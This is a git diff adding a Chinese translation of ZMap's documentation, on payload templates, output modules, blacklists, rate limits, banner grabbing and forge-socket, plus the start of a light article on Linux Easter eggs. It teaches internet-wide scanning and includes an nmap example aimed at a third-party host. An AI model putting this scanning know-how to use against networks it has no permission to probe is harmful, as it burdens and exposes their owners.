+UDP载荷模板仍处于实验阶段。当您在更多的使用一个以上的发送线程(-T)时可能会遇到崩溃和一个明显的相比静态载荷性能降低的表现。模板仅仅是一个由一个或多个使用${}将字段说明封装成序列构成的载荷文件。某些协议,特别是SIP,需要载荷来反射包中的源和目的包。其他协议,如portmapper和DNS,每个请求包含的字段应该是随机的,或降低被Zamp扫描的多宿主系统的风险。 + +以下的载荷模板将发送SIP OPTIONS请求到每一个目的地: + + OPTIONS sip:${RAND_ALPHA=8}@${DADDR} SIP/2.0 + Via: SIP/2.0/UDP ${SADDR}:${SPORT};branch=${RAND_ALPHA=6}.${RAND_DIGIT=10};rport;alias + From: sip:${RAND_ALPHA=8}@${SADDR}:${SPORT};tag=${RAND_DIGIT=8} + To: sip:${RAND_ALPHA=8}@${DADDR} + Call-ID: ${RAND_DIGIT=10}@${SADDR} + CSeq: 1 OPTIONS + Contact: sip:${RAND_ALPHA=8}@${SADDR}:${SPORT} + Content-Length: 0 + Max-Forwards: 20 + User-Agent: ${RAND_ALPHA=8} + Accept: text/plain + +就像在上面的例子中展示的那样,注意每行行末以\r\n结尾,请求以\r\n\r\n结尾,大多数SIP实现都可以正确处理它。一个可以工作的例子放在ZMap的examples/udp-payloads目录下 (sip_options.tpl). + +当前实现了下面的模板字段: + +- **SADDR**: 源IP地址的点分十进制格式 +- **SADDR_N**: 源IP地址的网络字节序格式 +- **DADDR**: 目的IP地址的点分十进制格式 +- **DADDR_N**: 目的IP地址的网络字节序格式 +- **SPORT**: 源端口的ascii格式 +- **SPORT_N**: 源端口的网络字节序格式 +- **DPORT**: 目的端口的ascii格式 +- **DPORT_N**: 目的端口的网络字节序格式 +- **RAND_BYTE**: 随机字节(0-255),长度由=(length) 参数决定 +- **RAND_DIGIT**: 随机数字0-9,长度由=(length) 参数决定 +- **RAND_ALPHA**: 随机大写字母A-Z,长度由=(length) 参数决定 +- **RAND_ALPHANUM**: 随机大写字母A-Z和随机数字0-9,长度由=(length) 参数决定 + +### 配置文件 ### + + +ZMap支持使用配置文件来代替在命令行上指定所有要求的选项。配置中可以通过每行指定一个长名称的选项和对应的值来创建: + + interface "eth1" + source-ip 1.1.1.4-1.1.1.8 + gateway-mac b4:23:f9:28:fa:2d # upstream gateway + cooldown-time 300 # seconds + blacklist-file /etc/zmap/blacklist.conf + output-file ~/zmap-output + quiet + summary + +然后ZMap就可以按照配置文件并指定一些必要的附加参数运行了: + + $ zmap --config=~/.zmap.conf --target-port=443 + +### 详细 ### + + +ZMap可以在屏幕上生成多种类型的输出。默认情况下,Zmap将每隔1秒打印出相似的基本进度信息。可以通过设置`--quiet`来禁用。 + + 0:01 12%; send: 10000 done (15.1 Kp/s avg); recv: 144 143 p/s (141 p/s avg); hits: 1.44% + +ZMap同样也可以根据扫描配置打印如下消息,可以通过'--verbosity`参数加以控制。 + + Aug 11 16:16:12.813 [INFO] zmap: started + Aug 11 16:16:12.817 [DEBUG] zmap: no interface provided. will use eth0 + Aug 11 16:17:03.971 [DEBUG] cyclic: primitive root: 3489180582 + Aug 11 16:17:03.971 [DEBUG] cyclic: starting point: 46588 + Aug 11 16:17:03.975 [DEBUG] blacklist: 3717595507 addresses allowed to be scanned + Aug 11 16:17:03.975 [DEBUG] send: will send from 1 address on 28233 source ports + Aug 11 16:17:03.975 [DEBUG] send: using bandwidth 10000000 bits/s, rate set to 14880 pkt/s + Aug 11 16:17:03.985 [DEBUG] recv: thread started + +ZMap还支持在扫描之后打印出一个的可grep的汇总信息,类似于下面这样,可以通过调用`--summary`来实现。 + + cnf target-port 443 + cnf source-port-range-begin 32768 + cnf source-port-range-end 61000 + cnf source-addr-range-begin 1.1.1.4 + cnf source-addr-range-end 1.1.1.8 + cnf maximum-packets 4294967295 + cnf maximum-runtime 0 + cnf permutation-seed 0 + cnf cooldown-period 300 + cnf send-interface eth1 + cnf rate 45000 + env nprocessors 16 + exc send-start-time Fri Jan 18 01:47:35 2013 + exc send-end-time Sat Jan 19 00:47:07 2013 + exc recv-start-time Fri Jan 18 01:47:35 2013 + exc recv-end-time Sat Jan 19 00:52:07 2013 + exc sent 3722335150 + exc blacklisted 572632145 + exc first-scanned 1318129262 + exc hit-rate 0.874102 + exc synack-received-unique 32537000 + exc synack-received-total 36689941 + exc synack-cooldown-received-unique 193 + exc synack-cooldown-received-total 1543 + exc rst-received-unique 141901021 + exc rst-received-total 166779002 + adv source-port-secret 37952 + adv permutation-gen 4215763218 + +### 结果输出 ### + + +ZMap可以通过**输出模块**生成不同格式的结果。默认情况下,ZMap只支持**csv**的输出,但是可以通过编译支持**redis**和**json** 。可以使用**输出过滤**来过滤这些发送到输出模块上的结果。输出模块输出的字段由用户指定。默认情况如果没有指定输出文件,ZMap将以csv格式返回结果,而不会生成特定结果。也可以编写自己的输出模块;请参阅[编写输出模块](#exteding)。 + +**-o, --output-file=p** + +输出写入文件地址 + +**-O, --output-module=p** + +调用自定义输出模块 + +**-f, --output-fields=p** + +以逗号分隔的输出的字段列表 + +**--output-filter=filter** + +对给定的探测指定字段输出过滤 + +**--list-output-modules** + +列出可用输出模块 + +**--list-output-fields** + +列出给定的探测的可用输出字段 + +#### 输出字段 #### + +除了IP地址之外,ZMap有很多字段。这些字段可以通过在给定探测模块上运行`--list-output-fields`来查看。 + + $ zmap --probe-module="tcp_synscan" --list-output-fields + saddr string: 应答包中的源IP地址 + saddr-raw int: 网络字节格式的源IP地址 + daddr string: 应答包中的目的IP地址 + daddr-raw int: 网络字节格式的目的IP地址 + ipid int: 应答包中的IP识别号 + ttl int: 应答包中的ttl(存活时间)值 + sport int: TCP 源端口 + dport int: TCP 目的端口 + seqnum int: TCP 序列号 + acknum int: TCP Ack号 + window int: TCP 窗口 + classification string: 包类型 + success int: 是应答包成功 + repeat int: 是否是来自主机的重复响应 + cooldown int: 是否是在冷却时间内收到的响应 + timestamp-str string: 响应抵达时的时间戳使用ISO8601格式 + timestamp-ts int: 响应抵达时的时间戳使用UNIX纪元开始的秒数 + timestamp-us int: 时间戳的微秒部分(例如 从'timestamp-ts'的几微秒) + +可以通过使用`--output-fields=fields`或`-f`来选择选择输出字段,任意组合的输出字段可以被指定为逗号分隔的列表。例如: + + $ zmap -p 80 -f "response,saddr,daddr,sport,seq,ack,in_cooldown,is_repeat,timestamp" -o output.csv + +#### 过滤输出 #### + +在传到输出模块之前,探测模块生成的结果可以先过滤。过滤是针对探测模块的输出字段的。过滤使用类似于SQL的简单过滤语法写成,通过ZMap的**--output-filter**选项来指定。输出过滤通常用于过滤掉重复的结果,或仅传输成功的响应到输出模块。 + +过滤表达式的形式为`<字段名> <操作符> <值>`。`<值>`的类型必须是一个字符串或一串无符号整数并且匹配`<字段名>`类型。对于整数比较有效的操作符是`= !=, <, >, <=, >=`。字符串比较的操作是=,!=。`--list-output-fields`可以打印那些可供探测模块选择的字段和类型,然后退出。 + +复合型的过滤操作,可以通过使用`&&`(逻辑与)和`||`(逻辑或)这样的运算符来组合出特殊的过滤操作。 + +**示例** + +书写一则过滤仅显示成功的、不重复的应答 + + --output-filter="success = 1 && repeat = 0" + +过滤出RST分类并且TTL大于10的包,或者SYNACK分类的包 + + --output-filter="(classification = rst && ttl > 10) || classification = synack" + +#### CSV #### + +csv模块将会生成以逗号分隔各个要求输出的字段的文件。例如,以下的指令将生成名为`output.csv`的CSV文件。 + + $ zmap -p 80 -f "response,saddr,daddr,sport,seq,ack,in_cooldown,is_repeat,timestamp" -o output.csv + +---------- + + #响应, 源地址, 目的地址, 源端口, 目的端口, 序列号, 应答, 是否是冷却模式, 是否重复, 时间戳 + response, saddr, daddr, sport, dport, seq, ack, in_cooldown, is_repeat, timestamp + synack, 159.174.153.144, 10.0.0.9, 80, 40555, 3050964427, 3515084203, 0, 0,2013-08-15 18:55:47.681 + rst, 141.209.175.1, 10.0.0.9, 80, 40136, 0, 3272553764, 0, 0,2013-08-15 18:55:47.683 + rst, 72.36.213.231, 10.0.0.9, 80, 56642, 0, 2037447916, 0, 0,2013-08-15 18:55:47.691 + rst, 148.8.49.150, 10.0.0.9, 80, 41672, 0, 1135824975, 0, 0,2013-08-15 18:55:47.692 + rst, 50.165.166.206, 10.0.0.9, 80, 38858, 0, 535206863, 0, 0,2013-08-15 18:55:47.694 + rst, 65.55.203.135, 10.0.0.9, 80, 50008, 0, 4071709905, 0, 0,2013-08-15 18:55:47.700 + synack, 50.57.166.186, 10.0.0.9, 80, 60650, 2813653162, 993314545, 0, 0,2013-08-15 18:55:47.704 + synack, 152.75.208.114, 10.0.0.9, 80, 52498, 460383682, 4040786862, 0, 0,2013-08-15 18:55:47.707 + synack, 23.72.138.74, 10.0.0.9, 80, 33480, 810393698, 486476355, 0, 0,2013-08-15 18:55:47.710 + +#### Redis #### + +Redis的输出模块允许地址被添加到一个Redis的队列,而不是保存到文件,允许ZMap将它与之后的处理工具结合使用。 + +**注意!** ZMap默认不会编译Redis功能。如果你从源码构建ZMap,可以在CMake的时候加上`-DWITH_REDIS=ON`来增加Redis支持。 + +#### JSON #### + +JSON输出模块用起来类似于CSV模块,只是以JSON格式写入到文件。JSON文件能轻松地导入到其它可以读取JSON的程序中。 + +**注意!**,ZMap默认不会编译JSON功能。如果你从源码构建ZMap,可以在CMake的时候加上`-DWITH_JSON=ON`来增加JSON支持。 + +### 黑名单和白名单 ### + + +ZMap同时支持对网络前缀做黑名单和白名单。如果ZMap不加黑名单和白名单参数,他将会扫描所有的IPv4地址(包括本地的,保留的以及组播地址)。如果指定了黑名单文件,那么在黑名单中的网络前缀将不再扫描;如果指定了白名单文件,只有那些网络前缀在白名单内的才会扫描。白名单和黑名单文件可以协同使用;黑名单优先于白名单(例如:如果您在白名单中指定了10.0.0.0/8并在黑名单中指定了10.1.0.0/16,那么10.1.0.0/16将不会扫描)。白名单和黑名单文件可以在命令行中指定,如下所示: + +**-b, --blacklist-file=path** + +文件用于记录黑名单子网,以CIDR(无类域间路由)的表示法,例如192.168.0.0/16 + +**-w, --whitelist-file=path** + +文件用于记录限制扫描的子网,以CIDR的表示法,例如192.168.0.0/16 + +黑名单文件的每行都需要以CIDR的表示格式书写,一行单一的网络前缀。允许使用`#`加以备注。例如: + + # IANA(英特网编号管理局)记录的用于特殊目的的IPv4地址 + # http://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + # 更新于2013-05-22 + + 0.0.0.0/8 # RFC1122: 网络中的所有主机 + 10.0.0.0/8 # RFC1918: 私有地址 + 100.64.0.0/10 # RFC6598: 共享地址空间 + 127.0.0.0/8 # RFC1122: 回环地址 + 169.254.0.0/16 # RFC3927: 本地链路地址 + 172.16.0.0/12 # RFC1918: 私有地址 + 192.0.0.0/24 # RFC6890: IETF协议预留 + 192.0.2.0/24 # RFC5737: 测试地址1 + 192.88.99.0/24 # RFC3068: IPv6转换到IPv4的任播 + 192.168.0.0/16 # RFC1918: 私有地址 + 192.18.0.0/15 # RFC2544: 检测地址 + 198.51.100.0/24 # RFC5737: 测试地址2 + 203.0.113.0/24 # RFC5737: 测试地址3 + 240.0.0.0/4 # RFC1112: 预留地址 + 255.255.255.255/32 # RFC0919: 限制广播地址 + + # IANA记录的用于组播的地址空间 + # http://www.iana.org/assignments/multicast-addresses/multicast-addresses.xhtml + # 更新于2013-06-25 + + 224.0.0.0/4 # RFC5771: 组播/预留地址ed + +如果您只是想扫描因特网中随机的一部分地址,使用[抽样](#ratelimiting)检出,来代替使用白名单和黑名单。 + +**注意!**ZMap默认设置使用`/etc/zmap/blacklist.conf`作为黑名单文件,其中包含有本地的地址空间和预留的IP空间。通过编辑`/etc/zmap/zmap.conf`可以改变默认的配置。 + +### 速度限制与抽样 ### + + +默认情况下,ZMap将以您当前网卡所能支持的最快速度扫描。以我们对于常用硬件的经验,这通常是理论上Gbit以太网速度的95-98%,这可能比您的上游提供商可处理的速度还要快。ZMap是不会自动的根据您的上游提供商来调整发送速率的。您可能需要手动的调整发送速率来减少丢包和错误结果。 + +**-r, --rate=pps** + +设置最大发送速率以包/秒为单位 + +**-B, --bandwidth=bps** + +设置发送速率以比特/秒(支持G,M和K后缀)。这会覆盖--rate参数。 + +ZMap同样支持对IPv4地址空间进行指定最大目标数和/或最长运行时间的随机采样。由于每次对主机的扫描是通过随机排序生成的,限制扫描的主机个数为N就会随机抽选N个主机。命令选项如下: + +**-n, --max-targets=n** + +探测目标上限数量 + +**-N, --max-results=n** + +结果上限数量(累积收到这么多结果后退出) + +**-t, --max-runtime=s** + +发送数据包时间长度上限(以秒为单位) + +**-s, --seed=n** + +种子用以选择地址的排列方式。使用不同ZMap执行扫描操作时将种子设成相同的值可以保证相同的扫描顺序。 + +举个例子,如果您想要多次扫描同样的一百万个互联网主机,您可以设定排序种子和扫描主机的上限数量,大致如下所示: + + zmap -p 443 -s 3 -n 1000000 -o results + +为了确定哪一百万主机将要被扫描,您可以执行预扫,只打印数据包而非发送,并非真的实施扫描。 + + zmap -p 443 -s 3 -n 1000000 --dryrun | grep daddr + | awk -F'daddr: ' '{print $2}' | sed 's/ |.*//;' + +### 发送多个数据包 ### + +ZMap支持向每个主机发送多个探测。增加这个数量既增加了扫描时间又增加了到达的主机数量。然而,我们发现,增加的扫描时间(每个额外扫描的增加近100%)远远大于到达的主机数量(每个额外扫描的增加近1%)。 + +**-P, --probes=n** + +向每个IP发出的独立探测个数(默认值=1) + +### 示例应用 ### + +ZMap专为向大量主机发起连接并寻找那些正确响应而设计。然而,我们意识到许多用户需要执行一些后续处理,如执行应用程序级别的握手。例如,用户在80端口实施TCP SYN扫描也许想要实施一个简单的GET请求,还有用户扫描443端口可能希望完成TLS握手。 + +#### Banner获取 #### + +我们收录了一个示例程序,banner-grab,伴随ZMap使用可以让用户从监听状态的TCP服务器上接收到消息。Banner-grab连接到提供的服务器上,发送一个可选的消息,然后打印出收到的第一个消息。这个工具可以用来获取banner,例如HTTP服务的回复的具体指令,telnet登陆提示,或SSH服务的字符串。 + +下面的例子寻找了1000个监听80端口的服务器,并向每个发送一个简单的GET请求,存储他们的64位编码响应至http-banners.out + + $ zmap -p 80 -N 1000 -B 10M -o - | ./banner-grab-tcp -p 80 -c 500 -d ./http-req > out + +如果想知道更多使用`banner-grab`的细节,可以参考`examples/banner-grab`中的README文件。 + +**注意!** ZMap和banner-grab(如例子中)同时运行可能会比较显著的影响对方的表现和精度。确保不让ZMap占满banner-grab-tcp的并发连接,不然banner-grab将会落后于标准输入的读入,导致阻塞ZMap的输出写入。我们推荐使用较慢扫描速率的ZMap,同时提升banner-grab-tcp的并发性至3000以内(注意 并发连接>1000需要您使用`ulimit -SHn 100000`和`ulimit -HHn 100000`来增加每个进程的最大文件描述符数量)。当然,这些参数取决于您服务器的性能、连接成功率(hit-rate);我们鼓励开发者在运行大型扫描之前先进行小样本的试验。 + +#### 建立套接字 #### + +我们也收录了另一种形式的banner-grab,就是forge-socket, 重复利用服务器发出的SYN-ACK,连接并最终取得banner。在`banner-grab-tcp`中,ZMap向每个服务器发送一个SYN,并监听服务器发回的带有SYN+ACK的应答。运行ZMap主机的内核接受应答后发送RST,这样就没有与该包关联活动连接。程序banner-grab必须在这之后创建一个新的TCP连接到从服务器获取数据。 + +在forge-socket中,我们利用内核中同名的模块,使我们可以创建任意参数的TCP连接。可以通过抑制内核的RST包,并重用SYN+ACK的参数取代该包而创建套接字,通过这个套接字收发数据和我们平时使用的连接套接字并没有什么不同。 + +要使用forge-socket,您需要forge-socket内核模块,从[github][1]上可以获得。您需要`git clone git@github.com:ewust/forge_socket.git`至ZMap源码根目录,然后cd进入forge_socket目录,运行make。以root身份运行`insmod forge_socket.ko` 来安装该内核模块。 + +您也需要告知内核不要发送RST包。一个简单的在全系统禁用RST包的方法是使用**iptables**。以root身份运行`iptables -A OUTPUT -p tcp -m tcp --tcp-flgas RST,RST RST,RST -j DROP`即可,当然您也可以加上一项`--dport X`将禁用局限于所扫描的端口(X)上。扫描完成后移除这项设置,以root身份运行`iptables -D OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP`即可。 + +现在应该可以建立forge-socket的ZMap示例程序了。运行需要使用**extended_file**ZMap[输出模块](#outputmodule): + + $ zmap -p 80 -N 1000 -B 10M -O extended_file -o - | \ + ./forge-socket -c 500 -d ./http-req > ./http-banners.out + +详细内容可以参考`examples/forge-socket`目录下的README。 + +---------- + +### 编写探测和输出模块 ### + + +ZMap可以通过**探测模块**来扩展支持不同类型的扫描,通过**输出模块**增加不同类型的输出结果。注册过的探测和输出模块可以在命令行中列出: + +**--list-probe-modules** + +列出安装过的探测模块 + +**--list-output-modules** + +列出安装过的输出模块 + +#### 输出模块 #### + + +ZMap的输出和输出后处理可以通过实现和注册扫描器的**输出模块**来扩展。输出模块在接收每一个应答包时都会收到一个回调。然而默认提供的模块仅提供简单的输出,这些模块同样支持更多的输出后处理(例如:重复跟踪或输出AS号码来代替IP地址)。 + +通过定义一个新的output_module结构来创建输出模块,并在[output_modules.c][2]中注册: + + typedef struct output_module { + const char *name; // 在命令行如何引用输出模块 + unsigned update_interval; // 以秒为单位的更新间隔 + + output_init_cb init; // 在扫描器初始化的时候调用 + output_update_cb start; // 在扫描器开始的时候调用 + output_update_cb update; // 每次更新间隔调用,秒为单位 + output_update_cb close; // 扫描终止后调用 + + output_packet_cb process_ip; // 接收到应答时调用 + + const char *helptext; // 会在--list-output-modules时打印在屏幕上 + + } output_module_t; + +输出模块必须有名称,通过名称可以在命令行调用,并且通常会实现`success_ip`和常见的`other_ip`回调。process_ip的回调由每个收到并经由**probe module**过滤的应答包调用。应答是否被认定为成功并不确定(比如,它可以是一个TCP的RST)。这些回调必须定义匹配`output_packet_cb`定义的函数: + + int (*output_packet_cb) ( + + ipaddr_n_t saddr, // 网络字节格式的发起扫描主机IP地址 + ipaddr_n_t daddr, // 网络字节格式的目的IP地址 + + const char* response_type, // 发送模块的数据包分类 + + int is_repeat, // {0: 主机的第一个应答, 1: 后续的应答} + int in_cooldown, // {0: 非冷却状态, 1: 扫描器处于冷却中} + + const u_char* packet, // 指向IP包的iphdr结构体的指针 + size_t packet_len // 包的长度,以字节为单位 + ); + +输出模块还可以通过注册回调,执行在扫描初始化的时候(诸如打开输出文件的任务)、在扫描开始阶段(诸如记录黑名单的任务)、在扫描的常规间隔(诸如状态更新的任务)、在关闭的时候(诸如关掉所有打开的文件描述符)。提供的这些回调可以完整的访问扫描配置和当前状态: + + int (*output_update_cb)(struct state_conf*, struct state_send*, struct state_recv*); + +这些定义在[output_modules.h][3]中。在[src/output_modules/module_csv.c][4]中有可用示例。 + +#### 探测模块 #### + + +数据包由**探测模块**构造,它可以创建各种包和不同类型的响应。ZMap默认拥有两个扫描模块:`tcp_synscan`和`icmp_echoscan`。默认情况下,ZMap使用`tcp_synscan`来发送TCP SYN包并对每个主机的响应分类,如打开时(收到SYN+ACK)或关闭时(收到RST)。ZMap允许开发者编写自己的ZMap探测模块,使用如下的API: + +任何类型的扫描都必须通过开发和注册`send_module_t`结构中的回调来实现: + + typedef struct probe_module { + const char *name; // 如何在命令行调用扫描 + size_t packet_length; // 探测包有多长(必须是静态的) + + const char *pcap_filter; // 对收到的响应实施PCAP过滤 + size_t pcap_snaplen; // libpcap 捕获的最大字节数 + uint8_t port_args; // 设为1,如果ZMap需要用户指定--target-port + + probe_global_init_cb global_initialize; // 在扫描初始化会时被调用一次 + probe_thread_init_cb thread_initialize; // 每个包缓存区的线程中被调用一次 + probe_make_packet_cb make_packet; // 每个主机更新包的时候被调用一次 + probe_validate_packet_cb validate_packet; // 每收到一个包被调用一次, + // 如果包无效返回0, + // 非零则有效。 + + probe_print_packet_cb print_packet; // 如果在预扫模式下被每个包都调用 + probe_classify_packet_cb process_packet; // 由区分响应的接收器调用 + probe_close_cb close; // 扫描终止后被调用 + + fielddef_t *fields // 该模块指定的字段的定义 + int numfields // 字段的数量 + + } probe_module_t; + +在扫描操作初始化时会调用一次`global_initialize`,可以用来实施一些必要的全局配置和初始化操作。然而,`global_initialize`并不能访问包缓冲区,那里是线程特定的。代替的,`thread_initialize`在每个发送线程初始化的时候被调用,提供对于缓冲区的访问,可以用来构建探测包和全局的源和目的值。此回调应用于构建主机不可知的包结构,甚至只有特定值(如:目的主机和校验和),需要随着每个主机更新。例如,以太网头部信息在交换时不会变更(减去校验和是由NIC硬件计算的)因此可以事先定义以减少扫描时间开销。 + +调用回调参数`make_packet`是为了让被扫描的主机允许**探测模块**更新主机指定的值,同时提供IP地址、一个非透明的验证字符串和探测数目(如下所示)。探测模块负责在探测中放置尽可能多的验证字符串,即便当服务器返回的应答为空时,探测模块也能验证它的当前状态。例如,针对TCP SYN扫描,tcp_synscan探测模块会使用TCP源端口和序列号的格式存储验证字符串。响应包(SYN+ACK)将包含目的端口和确认号的预期值。 + + int make_packet( + void *packetbuf, // 包的缓冲区 + ipaddr_n_t src_ip, // 网络字节格式源IP + ipaddr_n_t dst_ip, // 网络字节格式目的IP + uint32_t *validation, // 探测中的有效字符串 + int probe_num // 如果向每个主机发送多重探测, + // 该值为我们对于该主机 + // 正在发送的探测数目 + ); + +扫描模块也应该定义`pcap_filter`、`validate_packet`和`process_packet`。只有符合PCAP过滤器的包才会被扫描。举个例子,在一个TCP SYN扫描的情况下,我们只想要调查TCP SYN / ACK或RST TCP数据包,并利用类似`tcp && tcp[13] & 4 != 0 || tcp[13] == 18`的过滤方法。`validate_packet`函数将会被每个满足PCAP过滤条件的包调用。如果验证返回的值非零,将会调用`process_packet`函数,并使用`fields`定义的字段和包中的数据填充字段集。举个例子,如下代码为TCP synscan探测模块处理了一个数据包。 + + void synscan_process_packet(const u_char *packet, uint32_t len, fieldset_t *fs) + { + struct iphdr *ip_hdr = (struct iphdr *)&packet[sizeof(struct ethhdr)]; + struct tcphdr *tcp = (struct tcphdr*)((char *)ip_hdr + + (sizeof(struct iphdr))); + + fs_add_uint64(fs, "sport", (uint64_t) ntohs(tcp->source)); + fs_add_uint64(fs, "dport", (uint64_t) ntohs(tcp->dest)); + fs_add_uint64(fs, "seqnum", (uint64_t) ntohl(tcp->seq)); + fs_add_uint64(fs, "acknum", (uint64_t) ntohl(tcp->ack_seq)); + fs_add_uint64(fs, "window", (uint64_t) ntohs(tcp->window)); + + if (tcp->rst) { // RST packet + fs_add_string(fs, "classification", (char*) "rst", 0); + fs_add_uint64(fs, "success", 0); + } else { // SYNACK packet + fs_add_string(fs, "classification", (char*) "synack", 0); + fs_add_uint64(fs, "success", 1); + } + } + +-------------------------------------------------------------------------------- + +via: https://zmap.io/documentation.html + +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/ewust/forge_socket/ +[2]:https://github.com/zmap/zmap/blob/v1.0.0/src/output_modules/output_modules.c +[3]:https://github.com/zmap/zmap/blob/master/src/output_modules/output_modules.h +[4]:https://github.com/zmap/zmap/blob/master/src/output_modules/module_csv.c diff --git a/published/201507/20150407 10 Truly Amusing Easter Eggs in Linux.md b/published/201507/20150407 10 Truly Amusing Easter Eggs in Linux.md new file mode 100644 index 0000000000..b68ae7bb81 --- /dev/null +++ b/published/201507/20150407 10 Truly Amusing Easter Eggs in Linux.md @@ -0,0 +1,164 @@ +十个非常有趣的 Linux 彩蛋 +================================================================================ + +*制作 Adventure 的程序员悄悄的把一个秘密的功能塞进了游戏里。Atari 并没有对此感到生气,而是给这类“秘密功能”起了个名字——“彩蛋”,因为——你懂的——你会像找复活节彩蛋一样寻找它们。* + +![](http://en.wikipedia.org/wiki/File:Adventure_Easteregg.PNG) + +*图片来自: Wikipedia* + +在1979年的时候,公司为 Atari 2600 开发了一个电子游戏——[Adventure][1]。 + +制作 Adventure 的程序员悄悄的把这样的一个功能放进了游戏里,当用户把一个“隐形方块”移动到特定的一面墙上时,会让用户进入一个“密室”。那个房间里只有一句话:“Created by [Warren Robinett][2]”——意思是,由 [Warren Robinett][2] 创建。 + +Atari 有一项反对作者将自己的名字放进他们的游戏里的政策,所以这个无畏的程序员只能偷偷的把自己的名字放进游戏里。Atari 在 Warren Robinett 离开公司之后才发现这个“密室”。Atari 并没有对此感到生气,而是给这类“秘密功能”起了个名字——“彩蛋”,因为——你懂的——你会寻找它们。Atari 还宣布将在之后的游戏中加入更多的“彩蛋”。 + +这种软件里的“隐藏功能”并不是第一次出现(这类特性的首次出现是在1966年[PDP-10][3]的操作系统上),但这是它第一次有了名字,同时也是第一次真正的被众多电脑用户和游戏玩家所注意。 + +Linux(以及和Linux相关的软件)也没有被遗忘。这些年来,人们为这个倍受喜爱的操作系统创作了很多非常有趣的彩蛋。下面将介绍我个人最喜爱的彩蛋——以及如何找到它们。 + +你很快就会想到这些彩蛋大多需要通过终端才能体验到。这是故意的。因为终端比较酷。【我应该借此机机会提醒你一下,如果你想运行我所列出的应用,然而你却还没有安装它们,你是绝对无法运行成功的。你应该先安装好它们的。因为……毕竟只是计算机。】 + +### Arch : 包管理器(pacman)里的吃豆人(Pac-Man) ### + +为了广大的 [Arch Linux][4] 粉丝,我们将以此开篇。你们可以将“[pacman][6]” (Arch 的包管理器)的进度条变成吃豆人吃豆的样子。别问我为什么这不是默认设置。 + +你需要在你最喜欢的文本编辑器里编辑“/etc/pacman.conf”文件。在“# Misc options”区下面,删除“Color”前的“#”,添加一行“ILoveCandy”。因为吃豆人喜欢糖豆。 + +没错,这样就行了!下次你在终端里运行pacman管理器时,你就会让这个黄颜色的小家伙吃到些午餐(至少能吃些糖豆)。 + +### GNU Emacs : 俄罗斯方块(Tetris)以及…… ### + +![emacs Tetris](http://www.linux.com/images/stories/41373/emacsTetris.jpg) + +*我不喜欢 emacs。一点也不喜欢。但是它确实能玩俄罗斯方块。* + +我要坦白一件事:我不喜欢[emacs][7]。一点也不喜欢。 + +有些东西让我满心欢喜。有些东西能带走我所有伤痛。有些东西能解决我的烦恼。这些[绝对跟 emacs 无关][8]。 + +但是它确实能玩俄罗斯方块。这可不是件小事。方法如下: + +第一步)打开 emacs。(有疑问?输入“emacs”。) + +第二步)按下键盘上的Esc和X键。 + +第三步)输入“tetris”然后按下“Enter”。 + +玩腻了俄罗斯方块?试试“pong”、“snake”还有其他一堆小游戏(或奇怪的东西)。在“/usr/share/emacs/*/lisp/play”文件中可以看见完整的清单。 + +### 动物说话了 ### + +让动物在终端里说话在 Linux 世界里有着悠久而辉煌的历史。下面这些真的是最应该知道的。 + +在用基于 Debian 的发行版?试试输入“apt-get moo"。 + +![apt-get moo](http://www.linux.com/images/stories/41373/AptGetMoo.jpg) + +*apt-get moo* + +简单?的确。但这是只会说话的牛,所以惹我们喜欢。再试试“aptitude moo”。他会告诉你“There are no Easter Eggs in this program(这个程序里没有彩蛋)”。 + +关于 [aptitude][9] 有一件事你一定要知道,它是个肮脏、下流的骗子。如果 aptitude 是匹诺曹,那它的鼻子能刺穿月球。在这条命令中添加“-v”选项。不停的添加 v,直到它被逼得投降。 + +![](http://www.linux.com/images/stories/41373/AptitudeMoo.jpg) + +*我猜大家都同意,这是 aptitude 中最重要的功能。* + +我猜大家都同意,这是 aptitude 中最重要的功能。但是万一你想把自己的话让一头牛说出来怎么办?这时我们就需要“cowsay”了。 + +还有,别让“cowsay(牛说)”这个名字把你给骗了。你可以让你的话从各种东西的嘴里说出来。比如一头大象,Calvin,Beavis 甚至可以是 Ghostbusters(捉鬼敢死队)的标志。只需在终端输入“cowsay -l”就能看到所有选项的列表。 + +![](http://www.linux.com/images/stories/41373/cowsay.jpg) + +*你可以让你的话从各种东西的嘴里说出来* + +想玩高端点的?你可以用管道把其他应用的输出放到 cowsay 中。试试“fortune | cowsay”。非常有趣。 + +### Sudo 请无情的侮辱我 ### + +当你做错事时希望你的电脑骂你的人请举手。反正,我这样想过。试试这个: + +输入“sudo visudo”以打开“sudoers”文件。在文件的开头你很可能会看见几行以“Defaults”开头的文字。在那几行后面添加“Defaults insults”并保存文件。 + +现在,只要你输错了你的 sudo 密码,你的系统就会骂你。这些可以提高自信的语句包括“听着,煎饼脑袋,我可没时间听这些垃圾。”,“你吃错药了吧?”以及“你被电过以后大脑就跟以前不太一样了是不是?” + +把这个设在同事的电脑上会有非常有趣。 + +### Firefox 是个厚脸皮 ### + +这一个不需要终端!太棒了! + +打开火狐浏览器。在地址栏填上“about:about”。你将得到火狐浏览器中所有的“about”页。一点也不炫酷,是不是? + +现在试试“about:mozilla”,浏览器就会回应你一条从“[Book of Mozilla(Mozilla 之书)][10]”——这本浏览网页的圣经——里引用的话。我的另一个最爱是“about:robots”,这个也很有趣。 + +![](http://www.linux.com/images/stories/41373/About-Mozilla550.jpg) + +*“[Book of Mozilla(Mozilla 之书)][10]”——浏览网页的圣经。* + +### 精心调制的混搭日历 ### + +是否厌倦了千百年不变的 [Gregorian Calendar(罗马教历)][11]?准备好乱入了吗?试试输入“ddate”。这样会把当前日历以[Discordian Calendar(不和教历)][12]的方式显示出来。你会遇见这样的语句: + +“今天是Sweetmorn(甜美的清晨),3181年Discord(不和)季的第18天。” + +我听见你在说什么了,“但这根本不是什么彩蛋!”嘘~,闭嘴。只要我想,我就可以把它叫做彩蛋。 + +### 快速进入黑客行话模式 ### + +想不想尝试一下电影里超级黑客的感觉?试试(通过添加“-oS”)把扫描器设置成“[Script Kiddie][13]”模式。然后所有的输出都会变成最3l33t的[黑客范][14]。 + +例如: “nmap -oS - google.com” + +赶快试试。我知道你有多想这么做。你一定会让安吉丽娜·朱莉(Angelina Jolie)[印象深刻][15] + +### lolcat彩虹 ### + 